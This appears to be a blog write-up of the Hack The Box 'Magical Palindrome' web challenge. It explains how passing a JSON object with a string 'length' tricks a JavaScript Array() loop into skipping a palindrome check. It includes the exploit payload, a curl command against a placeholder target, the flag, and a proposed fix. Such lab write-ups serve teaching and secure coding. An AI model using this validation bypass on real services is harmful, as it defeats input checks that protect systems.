MoeWalls
531 words
3 minutes
Magical Palindrome
In Dumbledore’s absence, Harry’s memory fades, leaving crucial words lost. Delve into the arcane world, harness the power of JSON, and unveil the hidden spell to restore his recollection. Can you help harry to find path to salvation?
Initial Analysis
Examining the Source Code
The challenge provides several configuration files. The key files are:
index.mjs - Main server logic:
const IsPalinDrome = (string) => { if (string.length < 1000) { return 'Tootus Shortus'; }
for (const i of Array(string.length).keys()) { const original = string[i]; const reverse = string[string.length - i - 1];
if (original !== reverse || typeof original !== 'string') { return 'Notter Palindromer!!'; } }
return null;}
app.post('/', async (c) => { const {palindrome} = await c.req.json(); const error = IsPalinDrome(palindrome); if (error) { c.status(400); return c.text(error); } return c.text(`Hii Harry!!! ${flag}`);});nginx.conf - Server configuration:
server { listen 80; server_name 127.0.0.1; client_max_body_size 75; // Only 75 BYTES allowed!
location / { proxy_pass http://127.0.0.1:3000; proxy_read_timeout 5s; }}The Challenge
We need to:
- Send a palindrome with
length >= 1000 - Keep the request body under 75 bytes
- Pass the palindrome validation check
At first glance, this seems impossible - a JSON payload with 1000 characters would be over 1000 bytes!
The Vulnerability
JavaScript Type Coercion Bug
The vulnerability lies in how JavaScript handles the Array() constructor with different data types.
Key Observations:
- When
string.lengthis a NUMBER (e.g.,1000):
Array(1000).keys() // Creates iterator with 1000 values: 0, 1, 2, ..., 999- When
string.lengthis a STRING (e.g.,"1000"):
Array("1000").keys() // Creates array ["1000"] with ONE element!// Iterator yields only: 0The Exploit
By sending an object with:
lengthas a string"1000"(not a number)- Properties at indices
0and999
We can:
- Pass the length check:
"1000" < 1000- JavaScript coerces the string to number -1000 < 1000-false - Minimize loop iterations:
Array("1000")creates an array with only ONE element, so the loop runs only ONCE - Pass the palindrome check: The single iteration only checks
string[0]vsstring[999], both set to"a"
The Solution
Exploit Payload
{"palindrome":{"0":"a","999":"a","length":"1000"}}Payload size: 50 bytes (well under the 75-byte limit!)
Execution Flow
// Step 1: Length check"1000" < 1000 // String coerced to number: 1000 < 1000 = false
// Step 2: Create arrayArray("1000") // Creates ["1000"] - array with ONE element
// Step 3: Loop iterationfor (const i of Array("1000").keys()) { // Yields only: i=0 const original = string[0]; // = "a" const reverse = string["1000" - 0 - 1]; // = string[999] = "a"
if ("a" !== "a" || typeof "a" !== 'string') { // false || false = false return 'Notter Palindromer!!'; }}
// Step 4: Success!return null; // Returns flagFinal Command
curl -X POST http://target:port \ -H "Content-Type: application/json" \ -d '{"palindrome":{"0":"a","999":"a","length":"1000"}}'Result
Hii Harry!!! HTB{Lum0s_M@x!ma}Key Takeaways
- Type Coercion Vulnerabilities: JavaScript’s automatic type coercion can lead to unexpected behavior
- Array Constructor Behavior:
Array(n)behaves differently whennis a number vs. a string - Input Validation: Always validate not just the value but also the type of user inputs
- Defense: Use strict equality (
===) and type checking, especially when dealing with user-controlled data
Proper Fix
const IsPalinDrome = (string) => { // Validate input type if (typeof string !== 'string') { return 'Invalid input type'; }
// Ensure length is a number if (typeof string.length !== 'number' || string.length < 1000) { return 'Tootus Shortus'; }
// ... rest of validation}Flag
HTB{Lum0s_M@x!ma} Magical Palindrome
https://daryx.vercel.app/posts/htb-magical-palindrome/